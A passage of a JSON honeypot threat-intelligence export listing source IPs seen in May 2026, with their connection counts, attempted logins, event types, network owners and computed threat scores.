      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 44.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T23:52:53.854000+00:00",
        "last_seen_30d": "2026-05-31T03:40:10.357000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 12
      }
    },
    "223.129.6.24": {
      "attack_count": 24,
      "first_seen": "2026-05-17T12:49:01.131Z",
      "last_seen": "2026-05-17T12:56:11.492Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4538,
      "as_org": "China Education and Research Network Center",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T12:49:01.131000+00:00",
        "last_seen_30d": "2026-05-17T13:01:28.734000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 13
      }
    },
    "64.62.197.92": {
      "attack_count": 20,
      "first_seen": "2026-05-02T09:43:00.205Z",
      "last_seen": "2026-05-18T11:21:22.187Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "Accept-Encoding: gzip",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Iron Safari/537.36",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23",
        ""
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 30,
        "ports_targeted_30d": 80,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T06:32:35.819000+00:00",
        "last_seen_30d": "2026-05-31T14:31:55.001000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 170,
        "Honeytrap": 83,
        "Cowrie": 20,
        "Miniprint": 9,
        "Dionaea": 5,
        "Adbhoney": 4,
        "ElasticPot": 1
      }
    },
    "91.233.116.74": {
      "attack_count": 18,
      "first_seen": "2026-05-05T02:19:47.012Z",
      "last_seen": "2026-05-29T02:12:51.931Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": null,
      "asn": 51765,
      "as_org": "Oy Crea Nova Hosting Solution Ltd",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T02:19:47.012000+00:00",
        "last_seen_30d": "2026-05-29T02:14:01.705000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "220.85.133.137": {
      "attack_count": 16,
      "first_seen": "2026-05-06T17:56:36.100Z",
      "last_seen": "2026-05-07T23:04:01.946Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 5.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:56:36.100000+00:00",
        "last_seen_30d": "2026-05-07T23:05:03.779000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "66.240.223.208": {
      "attack_count": 16,
      "first_seen": "2026-05-05T20:45:31.866Z",
      "last_seen": "2026-05-19T00:16:47.553Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 48.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.0,
        "persistence": 15.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 18,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T15:51:50.862000+00:00",
        "last_seen_30d": "2026-05-19T12:31:30.807000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Cowrie": 16,
        "Dionaea": 6,
        "Tanner": 3,
        "H0neytr4p": 1,
        "Honeytrap": 1
      }
    },
    "95.217.88.101": {
      "attack_count": 12,
      "first_seen": "2026-05-08T03:51:55.253Z",
      "last_seen": "2026-05-10T04:30:33.465Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:51:55.253000+00:00",
        "last_seen_30d": "2026-05-10T04:31:38.155000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "36.140.97.130": {
      "attack_count": 11,
      "first_seen": "2026-05-06T20:20:27.199Z",
      "last_seen": "2026-05-06T20:22:39.141Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T20:20:27.199000+00:00",
        "last_seen_30d": "2026-05-06T20:33:33.681000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 7
      }
    },
    "147.185.132.108": {
      "attack_count": 10,
      "first_seen": "2026-05-03T10:03:42.731Z",
      "last_seen": "2026-05-26T10:05:19.390Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.2,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 29,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T01:52:38+00:00",
        "last_seen_30d": "2026-05-30T18:30:50.946000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Honeytrap": 22,
        "Cowrie": 10,
        "ConPot": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1
      }
    },
    "172.86.73.156": {
      "attack_count": 8,
      "first_seen": "2026-05-20T11:55:50.288Z",
      "last_seen": "2026-05-20T11:55:50.817Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 14956,
      "as_org": "RouterHosting LLC",
      "threat_score": 15.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T11:55:50.288000+00:00",
        "last_seen_30d": "2026-05-20T11:56:59.907000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 8
      }
    },
    "200.176.15.60": {
      "attack_count": 8,
      "first_seen": "2026-05-04T01:31:10.796Z",
      "last_seen": "2026-05-04T01:39:18.004Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Vargem Grande Paulista",
      "asn": 11706,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T01:31:10.796000+00:00",
        "last_seen_30d": "2026-05-04T01:44:12.865000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "34.77.195.52": {
      "attack_count": 8,
      "first_seen": "2026-05-14T05:41:45.854Z",
      "last_seen": "2026-05-14T05:42:26.952Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T05:41:45.854000+00:00",
        "last_seen_30d": "2026-05-14T05:43:31.753000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "83.114.127.121": {
      "attack_count": 8,
      "first_seen": "2026-05-05T09:03:13.578Z",
      "last_seen": "2026-05-08T04:19:44.081Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Villemomble",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T09:03:13.578000+00:00",
        "last_seen_30d": "2026-05-08T04:30:32.199000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 8
      }
    },
    "102.220.160.26": {
      "attack_count": 7,
      "first_seen": "2026-05-17T04:17:41.072Z",
      "last_seen": "2026-05-17T04:17:44.017Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": null,
      "asn": 197769,
      "as_org": "VPS Dedicated LLC",
      "threat_score": 37.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 12.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 15,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:17:41.072000+00:00",
        "last_seen_30d": "2026-05-31T00:33:47.151000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "45.156.129.61": {
      "attack_count": 7,
      "first_seen": "2026-05-20T07:08:55.703Z",
      "last_seen": "2026-05-20T07:09:10.611Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 70.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.3,
        "persistence": 17.5,
        "diversity": 18,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 21,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-10T22:41:20+00:00",
        "last_seen_30d": "2026-05-30T00:26:48.619000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 31,
        "Honeytrap": 12,
        "Cowrie": 7,
        "Dionaea": 4
      }
    },
    "107.189.8.181": {
      "attack_count": 6,
      "first_seen": "2026-05-06T07:51:29.153Z",
      "last_seen": "2026-05-06T07:51:34.278Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "nil"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": "Luxembourg",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T07:51:29.153000+00:00",
        "last_seen_30d": "2026-05-06T07:52:36.844000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "66.132.172.181": {
      "attack_count": 6,
      "first_seen": "2026-05-10T16:38:55.327Z",
      "last_seen": "2026-05-10T16:39:32.942Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 30,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T03:55:38+00:00",
        "last_seen_30d": "2026-05-31T14:55:26.225000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 60,
        "Cowrie": 6,
        "H0neytr4p": 2,
        "Dicompot": 1
      }
    },
    "66.132.172.96": {
      "attack_count": 6,
      "first_seen": "2026-05-07T17:31:10.024Z",
      "last_seen": "2026-05-07T17:31:47.503Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 30,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T06:09:43+00:00",
        "last_seen_30d": "2026-05-31T18:05:14.511000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 42,
        "Miniprint": 7,
        "Cowrie": 6,
        "Honeyaml": 3,
        "Dicompot": 1,
        "Dionaea": 1
      }
    },
    "103.171.69.105": {
      "attack_count": 5,
      "first_seen": "2026-05-21T19:46:03.255Z",
      "last_seen": "2026-05-21T19:46:05.204Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "yoon"
      ],
      "passwords_attempted": [
        "yoon"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 142627,
      "as_org": "Multilink International",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T19:46:03.255000+00:00",
        "last_seen_30d": "2026-05-21T19:47:08.870000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "192.42.116.109": {
      "attack_count": 5,
      "first_seen": "2026-05-24T09:45:20.376Z",
      "last_seen": "2026-05-24T09:45:32.002Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "supports"
      ],
      "passwords_attempted": [
        "z4ng0rber"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 49.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 10.8,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 13,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-19T00:29:20+00:00",
        "last_seen_30d": "2026-05-31T19:07:53.740000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "ElasticPot": 3,
        "Honeytrap": 1
      }
    },
    "43.143.113.96": {
      "attack_count": 5,
      "first_seen": "2026-05-25T01:57:15.064Z",
      "last_seen": "2026-05-25T01:57:18.954Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "frappe-user"
      ],
      "passwords_attempted": [
        "123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T01:57:15.064000+00:00",
        "last_seen_30d": "2026-05-25T01:58:52.101000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "64.62.156.162": {
      "attack_count": 5,
      "first_seen": "2026-05-15T01:56:07.980Z",
      "last_seen": "2026-05-31T14:57:28.016Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T05:42:00.578000+00:00",
        "last_seen_30d": "2026-05-31T14:58:28.402000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 201,
        "Honeytrap": 93,
        "Miniprint": 9,
        "Tanner": 7,
        "Cowrie": 5,
        "Dionaea": 5,
        "Adbhoney": 4,
        "ConPot": 2,
        "Honeyaml": 1
      }
    },
    "103.13.206.197": {
      "attack_count": 4,
      "first_seen": "2026-05-20T09:05:40.515Z",
      "last_seen": "2026-05-20T09:05:48.511Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T09:05:40.515000+00:00",
        "last_seen_30d": "2026-05-20T09:06:53.915000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "103.191.165.66": {
      "attack_count": 4,
      "first_seen": "2026-05-02T11:38:36.426Z",
      "last_seen": "2026-05-04T14:09:26.403Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Subang",
      "asn": 149925,
      "as_org": "PT Sakti Wijaya Network",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T11:38:36.426000+00:00",
        "last_seen_30d": "2026-05-04T14:10:29.640000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "54.242.44.123": {
      "attack_count": 4,
      "first_seen": "2026-05-17T00:59:15.261Z",
      "last_seen": "2026-05-17T00:59:20.943Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 6.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 8,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T01:09:48+00:00",
        "last_seen_30d": "2026-05-17T01:00:29.914000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "103.140.78.42": {
      "attack_count": 2,
      "first_seen": "2026-05-05T22:44:15.371Z",
      "last_seen": "2026-05-05T22:44:28.789Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 138873,
      "as_org": "PT GREEN NET INDONESIA",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T22:44:15.371000+00:00",
        "last_seen_30d": "2026-05-05T22:45:34.213000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.218.186.93": {
      "attack_count": 2,
      "first_seen": "2026-05-23T00:29:12.719Z",
